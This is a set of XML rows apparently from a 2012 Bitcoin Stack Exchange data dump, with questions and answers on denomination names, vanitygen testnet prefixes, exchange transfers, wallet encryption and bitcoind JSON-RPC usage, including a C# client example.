  <row Id="5785" PostTypeId="2" ParentId="5780" CreationDate="2012-12-14T18:27:59.487" Score="2" Body="&lt;p&gt;Yes, It means blockchain.info broadcast the transaction itself. So it was either created using My Wallet, the merchant API or submitted through /pushtx. A live list can be seen here &lt;a href=&quot;http://blockchain.info/ip-address/127.0.0.1&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/ip-address/127.0.0.1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mixer transactions are broadcast through separate nodes.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-12-14T18:27:59.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5786" PostTypeId="1" AcceptedAnswerId="5863" CreationDate="2012-12-14T19:00:49.127" Score="4" ViewCount="265" Body="&lt;p&gt;One satoshi is 1e-8 bitcoins. Given that, it appears to me very convenient to have a name for 1e-4 bitcoins, and I'm wondering if someone already proposed or started using a name for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(the SI doesn't have a name for that, being m=1e-3 and µ=1e-6...)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="5406" LastEditDate="2015-05-28T18:25:53.140" LastActivityDate="2015-05-28T18:25:53.140" Title="Is there a proposed name for 1e-4 bitcoins?" Tags="|terminology|divisibility|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5787" PostTypeId="2" ParentId="5786" CreationDate="2012-12-14T22:08:16.163" Score="2" Body="&lt;p&gt;Well, a thousand grams is a kilogram.   A thousand sats (Satoshis) is &lt;a href=&quot;http://bitcointalk.org/index.php?topic=8282.msg932168#msg932168&quot; rel=&quot;nofollow&quot;&gt;a kilosat&lt;/a&gt;.  So 10,000 sats would be ten kilosats.   Maybe that would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes when that is needed we are moving away from fractions of a bitcoin and moving towards multiples of Satoshis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was also &lt;a href=&quot;http://bitcointalk.org/index.php?topic=8282.msg121247#msg121247&quot; rel=&quot;nofollow&quot;&gt;proposal&lt;/a&gt; to call it a milray.  And a number of votes were cast for calling it a lilbit (as in Littlebit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a name is found, the &lt;a href=&quot;http://en.bitcoin.it/wiki/FAQ#What_do_I_call_the_various_denominations_of_bitcoins.3F&quot; rel=&quot;nofollow&quot;&gt;entry for it in the FAQ&lt;/a&gt; should get updated.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-14T22:13:42.743" LastActivityDate="2012-12-14T22:13:42.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5788" PostTypeId="1" AcceptedAnswerId="5791" CreationDate="2012-12-15T01:16:18.200" Score="8" ViewCount="869" Body="&lt;p&gt;I'm guessing that vanitygen is more strict or has different rules than production's  Base58 rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are some of thse names marked not possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\vanitygen&amp;gt;oclvanitygen -k -o gpukeystestout.txt -i -f gpukeystest.txt  -T&#xA;Prefix 'mdemo1' not possible&#xA;Prefix 'mcoin' not possible&#xA;Prefix 'mBITname' not possible&#xA;Prefix 'mBITclear' not possible&#xA;Prefix 'mBITnic' not possible&#xA;Prefix 'mbotarmy' not possible&#xA;Prefix 'mdmzlist' not possible&#xA;Prefix 'maker7' not possible&#xA;Prefix 'makerofthings7' not possible&#xA;Prefix 'meventvwr' not possible&#xA;Prefix 'mdmzadmin' not possible&#xA;Next match difficulty: 5908459 (15 prefixes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-19T21:09:02.497" LastActivityDate="2012-12-19T21:09:02.497" Title="Why does vanitygen ban certain letters on testnet?" Tags="|testnet|vanity-address|base58check|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5790" PostTypeId="2" ParentId="5719" CreationDate="2012-12-15T11:03:52.980" Score="1" Body="&lt;p&gt;Apparently there is no way to know if a person has a pending Dwolla transfer for funds exiting Mt Gox.  The most confusing part about this is the pending status remains pending in Mt Gox for at least a day after Dwolla shows the transaction as having completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I recommend waiting an extra day after Dwolla says the funds have transferred.  Otherwise the transfer will be canceled with no notification from Mt Gox or anyone else, and no reason is given for the transfer cancellation.  In fact, the only indication that the transfer is canceled when this happens is that the balance returns to the pre-transfer balance, and the funds never show up in Dwolla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To Mt Gox's credit, Mt Gox did respond to my support requests.  However, getting a satisfactory response took almost two weeks of asking combined with plenty of trial and error with the Mt Gox withdraw system.&lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2012-12-15T11:03:52.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5791" PostTypeId="2" ParentId="5788" CreationDate="2012-12-15T13:02:57.330" Score="8" Body="&lt;p&gt;The rules are the same, but the available range is different. In the testnet the address prefix is 111 (https://en.bitcoin.it/wiki/List_of_address_prefixes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deduce the address you write in base58 the prefix concatenated with a 160 bit (20 bytes) hash of the public address and a checksum of 4 bytes (https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses). This makes a total of 25 bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a 111 prefix you have all the numbers between 111*2^(24*8) and 112*2^(24*8)-1. In binary form you have values from&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1101111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1101111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is 111 (in binary 1101111) and all the possible combinations of the hash and checksum values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you write the numbers from 111*2^(24*8) to 112*2^(24*8)-1 in base58 encoding (https://en.bitcoin.it/wiki/Base58Check_encoding) you have the range from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mfWxJ45yp2SFn7UciZyNpvDKrzbhuzkU7H &#xA;to&#xA;n4rZHAPGXCu8bYchjzJhK3V7VVredELJRc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your proposed addresses are below the first possible one.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="2281" LastEditDate="2012-12-15T19:17:59.163" LastActivityDate="2012-12-15T19:17:59.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5793" PostTypeId="1" AcceptedAnswerId="5806" CreationDate="2012-12-15T16:55:57.073" Score="3" ViewCount="194" Body="&lt;p&gt;From what I've inferred, is that Bitcoin gets a list of peers from other nodes.  What is to prevent a malicious node from&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sharing many ip addresses that will cause timeouts and a delay in block replication?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the getpeers to cause a DOS attack on an unsuspecting person/website?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-16T12:08:48.757" Title="How does Bitcoin protect itself from invalid peers from being broadcasted?" Tags="|security|bitcoin-core|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5794" PostTypeId="1" AcceptedAnswerId="5795" CreationDate="2012-12-15T16:58:45.280" Score="1" ViewCount="115" Body="&lt;p&gt;I'm looking at OpenCL and GPU programming and see the term &quot;Block&quot; used to describe a unit of work sent to a GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the relation between a Bitcoin Block and a GPU workunit called a block?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a relation, was this intentional?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-15T19:03:44.287" Title="What is the difference (or relation) between a Bitcoin &quot;Block&quot; and a GPU workunit called a &quot;Block&quot;" Tags="|block|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5795" PostTypeId="2" ParentId="5794" CreationDate="2012-12-15T19:03:44.287" Score="4" Body="&lt;p&gt;No, these two terms are completely unrelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin block &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot; rel=&quot;nofollow&quot;&gt;is a record of some or all of the most recent Bitcoin transactions that have not yet been recorded in any prior blocks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU block is just an unit of organization of threads running in parallel. The threads running on GPU are organized in blocks, and threads belonging to same block have effective means of interacting with each other. The size of single block and number of blocks affect application performance, and optimal parameters differ between different hardware. Surprisingly, while most GPU miners are written in OpenCL and not in CUDA, the 'block' term comes from CUDA and OpenCL specs use 'workitem' to refer to this concept.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-15T19:03:44.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5796" PostTypeId="2" ParentId="4292" CreationDate="2012-12-15T20:06:04.090" Score="2" Body="&lt;p&gt;I just wanted to update this post, having just been through the arduous process of getting money into my bitcoin wallet. I didn't have to wait 30 days to send from Dwolla to bitcoin, but the process was no cakewalk:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Signed up at Dwolla&lt;/li&gt;&#xA;&lt;li&gt;Linked bank account and verified (took almost a week!)&#xA;3.Transferred money from my approved account to Dwolla (took almost another week!)&lt;/li&gt;&#xA;&lt;li&gt;Set up a bitcoin wallet at blockchain.info&lt;/li&gt;&#xA;&lt;li&gt;Went to bitinstant and selected to send from Dwolla to my bitcoin wallet address.&lt;/li&gt;&#xA;&lt;li&gt;Was prompted by a Dwolla plugin to scan and upload a photo ID.&lt;/li&gt;&#xA;&lt;li&gt;Called Dwolla and pleaded with them to approve my photo immediately and not make me wait more &quot;business days&quot; for this process.&lt;/li&gt;&#xA;&lt;li&gt;Dwolla called me back in an hour to say they had approved my photo.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was then finally able to send money from Dwolla to my bit coin wallet via bitinstant. In fact, Dwolla/bitinstant will now allow me to send directly from my approved bank accounts to my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, 30-day waiting period is either no longer in effect, or bypassed by this method. But it's still a slog.&lt;/p&gt;&#xA;" OwnerUserId="2445" LastEditorUserId="132" LastEditDate="2012-12-16T12:25:01.680" LastActivityDate="2012-12-16T12:25:01.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5797" PostTypeId="1" AcceptedAnswerId="7418" CreationDate="2012-12-15T21:41:30.587" Score="6" ViewCount="1794" Body="&lt;p&gt;I'm looking for example getwork input and output of a successful block hash to verify a getwork client I've implemented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also accept suggestions on better ways to verify this. I've looked at TestNet but this seems to be a slow process. &lt;/p&gt;&#xA;" OwnerUserId="2428" LastEditorUserId="5406" LastEditDate="2016-03-16T10:41:06.040" LastActivityDate="2016-03-16T10:41:06.040" Title="Example accepted getwork function input and output?" Tags="|mining-pools|testnet|mining-software|getwork|testing|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5798" PostTypeId="1" AcceptedAnswerId="5803" CreationDate="2012-12-16T00:54:54.537" Score="2" ViewCount="482" Body="&lt;p&gt;The API &lt;code&gt;ListReceivedByAddress&lt;/code&gt; allows me to view a list a sum* of all the transactions that an address has received.   This returns an array listing the sum of what was sent.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the address is reused for more than one transaction, what is the expected value of &quot;confirmations&quot;? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the value of confirmations the Max, Min, or Average?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should there be an entry listing how many transactions were sent to that address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*Footnote I'm not entirely sure that the ListReceivedByAddress actually returns a sum of all transactions to that address.  I assume it's possible that the value could be the first, last,or sum of all transactions to an address.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-16T08:11:46.147" Title="In ListReceivedByAddress, what is the meaning of Confirmations if the address is reused?" Tags="|development|json-rpc|confirmations|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5799" PostTypeId="1" CreationDate="2012-12-16T01:46:38.933" Score="2" ViewCount="513" Body="&lt;p&gt;I was surprised I was able to back up my wallet over JSON RPC without requiring the wallet password (or even without a secondary backup-only password)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm concerned that this could create a DOS attack if the following were to occur&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A read-only wallet service is created to perform low-risk operations with the wallet&lt;/li&gt;&#xA;&lt;li&gt;That low risk service is somehow exploited via a web front end, etc.&lt;/li&gt;&#xA;&lt;li&gt;The background process (now in control of the attacker) issues the &lt;code&gt;backupwallet&lt;/code&gt; command&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think that can be a risk depending on a number of scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The user can save the file with many different random names and fill up the drive (DOS attack)&lt;/li&gt;&#xA;&lt;li&gt;The user can overwrite system files with a copy of the wallet (DOS again)&lt;/li&gt;&#xA;&lt;li&gt;If previous files aren't overridden, and an error is returned, (due to duplicate file, locked file, etc) the attacker can infer information about the remote file system&lt;/li&gt;&#xA;&lt;li&gt;If the system supports pipes, perhaps the wallet can be piped to another remote system (/dev/???)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I'm wondering if a separate, backup-only password should be created to address this issue.  Namely I don't want to use the &quot;decrypt wallet&quot; password.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Also I'd like to force that all backups go to a specific directory (and not any other drive/path)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a good idea and if so, how should it be incorporated into the network?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-16T01:51:52.417" LastActivityDate="2013-02-04T14:09:09.193" Title="Should a JSON-RPC user be required to use a password when backing up the wallet?" Tags="|security|json-rpc|backup|wallet.dat|data-security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5800" PostTypeId="1" AcceptedAnswerId="5801" CreationDate="2012-12-16T05:09:22.923" Score="3" ViewCount="1102" Body="&lt;p&gt;I'm reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_encryption&quot; rel=&quot;nofollow noreferrer&quot;&gt;this wiki on wallet encryption&lt;/a&gt;  and am confused on how I can call &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4095/1878&quot;&gt;getnewaddress as described here&lt;/a&gt; and where that is being tracked after a restart of bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a wallet is encrypted, the passphrase is required to top up the&#xA;  keypool, thus, if the passphrase is rarely entered, it is possible&#xA;  that keypool might run out. In this case, the default key will be used&#xA;  as the target for payouts for mining, and calls to getnewaddress and&#xA;  getaccount address will return an error. In order to prevent such&#xA;  cases, the keypool is automatically refilled when walletpassphrase is&#xA;  called with a correct passphrase and when topupkeypool is called&#xA;  (while the wallet is unlocked). Note that the keypool continues to be&#xA;  topped up on various occasions when a new key from pool is used and&#xA;  the wallet is unlocked (or unencrypted). &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When wallet passphrase&#xA;  enrcyption becomes enabled, any unused keys from the keypool are&#xA;  flushed (marked as used) and new keys protected with encyption are&#xA;  added. For this reason, make a new backup of your wallet so that you&#xA;  will be able to recover the keys from the new key pool should access&#xA;  to your backups be necessary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-12-16T08:03:30.230" Title="How does an encrypted wallet persist used keys from &quot;getnewaddress&quot; and the keypool after a restart?" Tags="|wallet|bitcoind|private-key|encryption|keypool|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5801" PostTypeId="2" ParentId="5800" CreationDate="2012-12-16T07:39:56.137" Score="1" Body="&lt;p&gt;You can't call it an infinite number of times. In fact, with default settings, the 101st call will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the private keys that control the bitcoins are encrypted, the addresses corresponding to those keys are not.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2012-12-16T07:39:56.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5802" PostTypeId="2" ParentId="5800" CreationDate="2012-12-16T08:03:30.230" Score="1" Body="&lt;p&gt;Getnewaddress simply marks a private key in the wallet.dat as being used (or, to be more specific, removes that address from the key pool) and returns that address in the response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the private key already exists in wallet.dat prior to the getnewaddress call.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-16T08:03:30.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5803" PostTypeId="2" ParentId="5798" CreationDate="2012-12-16T08:11:46.147" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If the address is reused for more than one transaction, what is the expected value of &quot;confirmations&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Quote from &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;confirmations&quot; : number of confirmations of the most recent transaction included&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I think you might want to change the value of &lt;code&gt;minconf&lt;/code&gt; that you pass to &lt;code&gt;listrecievedbyaddress&lt;/code&gt; if you're concerned about knowing how many confirmations a transaction has.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should there be an entry listing how many transactions were sent to that address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why would you use that though?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2012-12-16T08:11:46.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5805" PostTypeId="2" ParentId="4292" CreationDate="2012-12-16T11:50:06.600" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;http://coinbase.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great for buying directly from bank account, very cheap fees, but only allows 100$ worth/day at this point I believe.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastEditorUserId="132" LastEditDate="2012-12-16T12:44:22.790" LastActivityDate="2012-12-16T12:44:22.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5806" PostTypeId="2" ParentId="5793" CreationDate="2012-12-16T12:08:48.757" Score="2" Body="&lt;p&gt;The client connects to peers in its database randomly (?) so even if given a set of IPs of peers in which all IPs are invalid (connection fails), the client will only be slightly disrupted by this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A node with a lot of invalid IPs in its list of peers may take longer to find a peer that it can connect to, but at the same time that lack of connectivity prevents it from receiving any new transactions from the network as well.  So there's no increased risk of accepting a transaction that ends up being a double spnd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This receipt of non-usable IPs can cause this specific node to not get a new block in a timely manner, but because nodes remain connected most of the time there isn't a system-wide issue just because some of the nodes remain disconnected longer than they should when switching to a new node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the node does come across a peer IP that it cannot connect to it will ban the node and not attempt to connect to it again for at least 24 hours.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-16T12:08:48.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5807" PostTypeId="1" AcceptedAnswerId="5813" CreationDate="2012-12-16T16:44:26.573" Score="1" ViewCount="237" Body="&lt;p&gt;When I perform a ListAccounts query I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {&#xA;  &quot;result&quot;: {&#xA;    &quot;&quot;: 0.0,&#xA;    &quot;account&quot;: 0.0,&#xA;    &quot;account3&quot;: 0.0,&#xA;    &quot;account7&quot;: 0.0&#xA;  },&#xA;  &quot;error&quot;: null,&#xA;  &quot;id&quot;: &quot;1&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However ListReceivedByAccount(0, true); looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {&#xA;   &quot;result&quot;: [&#xA;     {&#xA;       &quot;account&quot;: &quot;&quot;,&#xA;       &quot;amount&quot;: 0.0,&#xA;       &quot;confirmations&quot;: 0&#xA;     },&#xA;     {&#xA;       &quot;account&quot;: &quot;account&quot;,&#xA;       &quot;amount&quot;: 0.0,&#xA;       &quot;confirmations&quot;: 0&#xA;     },&#xA;     {&#xA;       &quot;account&quot;: &quot;account3&quot;,&#xA;       &quot;amount&quot;: 0.0,&#xA;       &quot;confirmations&quot;: 0&#xA;     },&#xA;     {&#xA;       &quot;account&quot;: &quot;account7&quot;,&#xA;       &quot;amount&quot;: 0.0,&#xA;       &quot;confirmations&quot;: 0&#xA;     }&#xA;   ],&#xA;   &quot;error&quot;: null,&#xA;   &quot;id&quot;: &quot;1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how the embedded array data is formatted differently?  Is there a name or term that describes these different array formats (named vs unnamed)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it different and can this be fixed in a future version? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is fixed in a future version will the outermost &quot;id&quot; property become &quot;2&quot; so I can add the logic to my parsers?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-16T22:56:48.267" LastActivityDate="2012-12-25T12:40:25.570" Title="ListAccounts JSON array data isn't consistently formatted (compared to ListReceivedByAccount)" Tags="|development|json-rpc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5808" PostTypeId="1" AcceptedAnswerId="5815" CreationDate="2012-12-16T20:20:18.250" Score="4" ViewCount="723" Body="&lt;p&gt;I've been looking for a way to easily monitor all address with a balance, that the balance has not moved/changed for a period of time (based on a criteria such as 1 year). Is there a site/tool already available? or do I need to build it myself? if I have to build it, where can I start to look for the relevant data? Thanks&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2012-12-31T04:33:18.620" Title="Is there a place or tool to monitor all addresses for unmoved coins?" Tags="|blockchain|development|tools|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5809" PostTypeId="1" CreationDate="2012-12-16T20:23:25.773" Score="3" ViewCount="184" Body="&lt;p&gt;When you create an Mt. Gox code, you are shown a long textual code, and the amount is immediately deducted from your account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if you lose the code (e.g. your computer accidentally shuts down before you copy-paste the code into someplace safe)? Mt. Gox already shows the funds as if they don't exist in your account (even before they are redeemed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there a way to restore lost codes?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-12-17T00:03:56.890" Title="What happens if you create and lose an Mt. Gox redeemable code?" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5810" PostTypeId="1" AcceptedAnswerId="5811" CreationDate="2012-12-16T21:17:13.573" Score="4" ViewCount="18799" Body="&lt;p&gt;How do I access the JSON RPC API in C# in such a way that I can also read the errors that the interface provides?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2016-07-23T13:41:10.607" Title="How do I call JSON RPC API using C#?" Tags="|development|json-rpc|c#|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5811" PostTypeId="2" ParentId="5810" CreationDate="2012-12-16T21:22:57.720" Score="4" Body="&lt;p&gt;I use the &lt;code&gt;Newtonsoft.Json.Linq&lt;/code&gt; library as shown below to get the data.  Soon, I'll be posting Strongly typed C# client libraries at &lt;a href=&quot;http://www.coinapi.net&quot; rel=&quot;noreferrer&quot;&gt;http://www.coinapi.net&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main trick to getting the JSON error code is to call GetWebResponse() again in the catch method.  Then return and parse the data.  I've debated about including the WebException itself in the return code, but that may require too many changes. If anyone has ideas I'll be glad to take them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        var ret = InvokeMethod(&quot;getblockhash&quot;, index);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the definition of InvokeMethod&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public JObject InvokeMethod(string a_sMethod, params object[] a_params)&#xA;    {&#xA;        HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create(Url);&#xA;        webRequest.Credentials = Credentials;&#xA;&#xA;        webRequest.ContentType = &quot;application/json-rpc&quot;;&#xA;        webRequest.Method = &quot;POST&quot;;&#xA;&#xA;        JObject joe = new JObject();&#xA;        joe[&quot;jsonrpc&quot;] = &quot;1.0&quot;;&#xA;        joe[&quot;id&quot;] = &quot;1&quot;;&#xA;        joe[&quot;method&quot;] = a_sMethod;&#xA;&#xA;        if (a_params != null)&#xA;        {&#xA;            if (a_params.Length &amp;gt; 0)&#xA;            {&#xA;                JArray props = new JArray();&#xA;                foreach (var p in a_params)&#xA;                {&#xA;                    props.Add(p);&#xA;                }&#xA;                joe.Add(new JProperty(&quot;params&quot;, props));&#xA;            }&#xA;        }&#xA;&#xA;        string s = JsonConvert.SerializeObject(joe);&#xA;        // serialize json for the request&#xA;        byte[] byteArray = Encoding.UTF8.GetBytes(s);&#xA;        webRequest.ContentLength = byteArray.Length;&#xA;&#xA;        try&#xA;        {&#xA;            using (Stream dataStream = webRequest.GetRequestStream())&#xA;            {&#xA;                dataStream.Write(byteArray, 0, byteArray.Length);&#xA;            }&#xA;        }&#xA;        catch (WebException we)&#xA;        {&#xA;            //inner exception is socket&#xA;            //{&quot;A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond 23.23.246.5:8332&quot;}&#xA;            throw;&#xA;        }&#xA;        WebResponse webResponse = null;&#xA;        try&#xA;        {&#xA;            using (webResponse = webRequest.GetResponse())&#xA;            {&#xA;                using (Stream str = webResponse.GetResponseStream())&#xA;                {&#xA;                    using (StreamReader sr = new StreamReader(str))&#xA;                    {&#xA;                        return JsonConvert.DeserializeObject&amp;lt;JObject&amp;gt;(sr.ReadToEnd());&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;        catch (WebException webex)&#xA;        {&#xA;&#xA;            using (Stream str = webex.Response.GetResponseStream())&#xA;            {&#xA;                using (StreamReader sr = new StreamReader(str))&#xA;                {&#xA;                    var tempRet =  JsonConvert.DeserializeObject&amp;lt;JObject&amp;gt;(sr.ReadToEnd());&#xA;                    return tempRet;&#xA;                }&#xA;            }&#xA;&#xA;        } &#xA;        catch (Exception)&#xA;        {&#xA;&#xA;            throw;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-16T21:22:57.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5812" PostTypeId="2" ParentId="2170" CreationDate="2012-12-16T22:01:16.883" Score="5" Body="&lt;p&gt;I don't think the blockexplorer reorglog catches all blocks. &lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot;&gt;http://blockchain.info/orphaned-blocks&lt;/a&gt; shows  1-2 detached blocks per day.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2012-12-16T22:08:34.753" LastActivityDate="2012-12-16T22:08:34.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
